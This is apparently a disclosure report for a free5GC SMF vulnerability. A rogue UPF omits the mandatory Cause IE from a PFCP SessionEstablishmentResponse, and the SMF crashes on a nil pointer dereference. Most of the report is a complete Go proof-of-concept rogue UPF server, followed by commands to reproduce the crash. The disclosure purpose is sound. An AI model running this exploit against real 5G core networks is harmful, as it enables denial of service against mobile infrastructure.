| Descrição | ## Bug Decription
The free5gc SMF can be crashed remotely by a rogue/malicious UPF that replies to a PFCP SessionEstablishmentRequest with a SessionEstablishmentResponse that omits the mandatory Cause IE. When SMF receives a Session Establishment Not Accepted response and enters the error-handling branch in internal/sbi/processor/establishPfcpSession() it dereferences rsp.Cause without checking for nil, causing a nil pointer dereference and terminating the SMF process (DoS).
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
The provided PoC implements a rogue UPF PFCP server. It completes association setup normally, then, upon receiving SessionEstablishmentRequest, it sends a crafted SessionEstablishmentResponse that includes NodeID and UPFSEID but does not include Cause, reliably triggering the crash.
## To Reproduce
1) Start fake UPF mode:
code
```
// Vuln-PB2-08 PoC: SessionEstablishmentResponse without Cause IE - DoS
// Target: free5gc SMF v4.10
// Vulnerability: Missing nil check on Cause in else branch at datapath.go:160
//
// This PoC implements a rogue UPF server that sends SessionEstablishmentResponse
// without the Cause IE, causing SMF to crash when processing the response.
package main
import (
"encoding/binary"
"flag"
"fmt"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
const (
PFCPPort = 8805
)
var (
listenAddr string
verbose bool
)
func init() {
flag.StringVar(&listenAddr, "listen", "x.x.x.x", "Address to listen on")
flag.BoolVar(&verbose, "verbose", true, "Verbose output")
}
// buildMalformedSessionEstablishmentResponse creates a response without Cause IE
// This triggers nil pointer dereference at datapath.go:160 when SMF processes the else branch
func buildMalformedSessionEstablishmentResponse(reqSEID uint64, seqNum uint32, localIP net.IP) []byte {
// Build UPFSEID IE to trigger the code path at line 144
// But do NOT include Cause IE - this will cause nil dereference at line 160
upfSEID := make([]byte, 4+13) // Type(2) + Length(2) + Flags(1) + SEID(8) + IPv4(4)
binary.BigEndian.PutUint16(upfSEID[0:2], 57) // Type: UPFSEID
binary.BigEndian.PutUint16(upfSEID[2:4], 13) // Length: 13
upfSEID[4] = 0x02 // Flags: V4=1
binary.BigEndian.PutUint64(upfSEID[5:13], 1) // SEID value
copy(upfSEID[13:17], localIP.To4()) // IPv4 address
// Build NodeID IE (required for the UPFSEID code path)
nodeIDPayload := append([]byte{0x00}, localIP.To4()...) // Type=IPv4 + IP
nodeIDIE := make([]byte, 4+len(nodeIDPayload))
binary.BigEndian.PutUint16(nodeIDIE[0:2], 60) // Type: NodeID
binary.BigEndian.PutUint16(nodeIDIE[2:4], uint16(len(nodeIDPayload)))
copy(nodeIDIE[4:], nodeIDPayload)
// NOTE: We intentionally DO NOT include Cause IE
// This will cause the else branch at line 156-161 to execute,
// which dereferences rsp.Cause.CauseValue when Cause is nil
// Calculate total payload
payload := append(nodeIDIE, upfSEID...)
payloadLen := 8 + 3 + 1 + len(payload) // SEID(8) + SeqNum(3) + MP(1) + IEs
// Build PFCP message header (session-related message)
msgBuf := make([]byte, 4+payloadLen)
msgBuf[0] = 0x21 // Version 1, S=1 (SEID present)
msgBuf[1] = message.MsgTypeSessionEstablishmentResponse // Message Type: 51
binary.BigEndian.PutUint16(msgBuf[2:4], uint16(payloadLen)) // Message Length
binary.BigEndian.PutUint64(msgBuf[4:12], reqSEID) // SEID (echo back request SEID)
msgBuf[12] = byte(seqNum >> 16) // Sequence Number (3 bytes)
msgBuf[13] = byte(seqNum >> 8)
msgBuf[14] = byte(seqNum)
msgBuf[15] = 0 // Message Priority + Spare
// Append IEs
copy(msgBuf[16:], payload)
return msgBuf
}
func handlePFCPMessage(conn *net.UDPConn, buf []byte, n int, remoteAddr *net.UDPAddr, localIP net.IP) {
if n < 4 {
log.Printf("[-] Message too short: %d bytes", n)
return
}
msgType := buf[1]
log.Printf("[*] Received PFCP message type: %d from %s", msgType, remoteAddr.String())
switch msgType {
case message.MsgTypeAssociationSetupRequest:
log.Printf("[+] Received Association Setup Request")
// Respond with valid Association Setup Response to establish association
assocResp := message.NewAssociationSetupResponse(
getSeqNum(buf),
ie.NewCause(ie.CauseRequestAccepted),
ie.NewNodeIDHeuristic(localIP.String()),
ie.NewRecoveryTimeStamp(time.Now()),
)
respBytes, _ := assocResp.Marshal()
conn.WriteToUDP(respBytes, remoteAddr)
log.Printf("[+] Sent Association Setup Response (association established)")
case message.MsgTypeSessionEstablishmentRequest:
log.Printf("[+] Received Session Establishment Request")
// Prefer CP SEID from CPFSEID IE; header SEID is typically 0 for this request.
var cpSeid uint64
var seqNum uint32
if msg, err := message.Parse(buf[:n]); err == nil {
if req, ok := msg.(*message.SessionEstablishmentRequest); ok {
seqNum = req.Sequence()
if req.CPFSEID != nil {
if fseid, err := req.CPFSEID.FSEID(); err == nil {
cpSeid = fseid.SEID
}
}
}
}
if cpSeid == 0 && buf[0]&0x01 != 0 {
cpSeid = binary.BigEndian.Uint64(buf[4:12])
seqNum = uint32(buf[12])<<16 | uint32(buf[13])<<8 | uint32(buf[14])
}
log.Printf("[*] CP SEID: %d, SeqNum: %d", cpSeid, seqNum)
// Send malformed response (missing Cause IE)
log.Printf("[!] Sending MALFORMED SessionEstablishmentResponse (missing Cause IE)")
log.Printf("[!] This will trigger nil pointer dereference at datapath.go:160")
malformedResp := buildMalformedSessionEstablishmentResponse(cpSeid, seqNum, localIP)
conn.WriteToUDP(malformedResp, remoteAddr)
log.Printf("[+] Sent malformed response (%d bytes) - SMF should crash now", len(malformedResp))
case message.MsgTypeHeartbeatRequest:
log.Printf("[*] Received Heartbeat Request")
hbResp := message.NewHeartbeatResponse(
getSeqNum(buf),
ie.NewRecoveryTimeStamp(time.Now()),
)
respBytes, _ := hbResp.Marshal()
conn.WriteToUDP(respBytes, remoteAddr)
log.Printf("[*] Sent Heartbeat Response")
default:
log.Printf("[*] Ignoring message type: %d", msgType)
}
}
func getSeqNum(buf []byte) uint32 {
if buf[0]&0x01 != 0 { // S flag set (session-related)
return uint32(buf[12])<<16 | uint32(buf[13])<<8 | uint32(buf[14])
}
// Node-related message
return uint32(buf[4])<<16 | uint32(buf[5])<<8 | uint32(buf[6])
}
func getLocalIP(conn *net.UDPConn) net.IP {
localAddr := conn.LocalAddr().(*net.UDPAddr)
if localAddr.IP.IsUnspecified() {
return net.ParseIP("127.0.0.1")
}
return localAddr.IP
}
func main() {
flag.Parse()
log.Printf("[*] Vuln-PB2-08 PoC: SessionEstablishmentResponse without Cause IE")
log.Printf("[*] Target: free5gc SMF v4.10")
log.Printf("[*] Vulnerability: datapath.go:160 - rsp.Cause.CauseValue nil dereference")
log.Printf("[*] ")
log.Printf("[*] Attack flow:")
log.Printf("[*] 1. SMF connects and establishes PFCP association")
log.Printf("[*] 2. SMF sends SessionEstablishmentRequest (on PDU session setup)")
log.Printf("[*] 3. Rogue UPF responds with SessionEstablishmentResponse WITHOUT Cause IE")
log.Printf("[*] 4. SMF crashes at datapath.go:160 in else branch")
// Listen on PFCP port
addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", listenAddr, PFCPPort))
if err != nil {
log.Fatalf("[-] Failed to resolve address: %v", err)
}
conn, err := net.ListenUDP("udp", addr)
if err != nil {
log.Fatalf("[-] Failed to listen: %v", err)
}
defer conn.Close()
localIP := getLocalIP(conn)
log.Printf("[+] Rogue UPF listening on %s:%d", listenAddr, PFCPPort)
log.Printf("[*] Waiting for SMF connection...")
log.Printf("[*] ")
log.Printf("[*] To trigger: Configure SMF to use this IP as UPF, then initiate PDU session")
buf := make([]byte, 4096)
for {
n, remoteAddr, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("[-] Read error: %v", err)
continue
}
handlePFCPMessage(conn, buf[:n], n, remoteAddr, localIP)
}
}
```
run `go run ./main.go -listen 10.100.200.2`
2) Attach UE and establish a PDU session using UERANSIM.
```
sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-gnb -c /home/ubuntu/UERANSIM/config/gnbcfg-free5gc.yaml
sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-ue -c /home/ubuntu/free5gc-compose/config/uecfg.yaml
```
3) The rogue UPF waits for the SMF to send a PFCP SessionEstablishmentRequest; once received, it replies with a malformed PFCP SessionEstablishmentResponse that omits the mandatory Cause IE, which triggers a nil pointer dereference in the SMF during response processing.
## Expected Behavior
When SMF receives a SessionEstablishmentResponse that is missing required IEs (such as Cause), it should:
validate the response structure,
gracefully reject/ignore the malformed response,
return an appropriate error to the SBI caller (or retry/fail the session establishment),
without crashing the SMF process.
## Screenshots
<img width="902" height="141" alt="Image" src="https://github.com/user-attachments/assets/8006d403-9df2-4a55-afc6-97b130922660" />
## Environment
- free5GC Version: v4.1.0
- OS: Ubuntu 22.04 Server
- Kernel version: [e.g. 5.15.0-0-generic]
- go version: go version go1.24.9 linux/amd64
|
|---|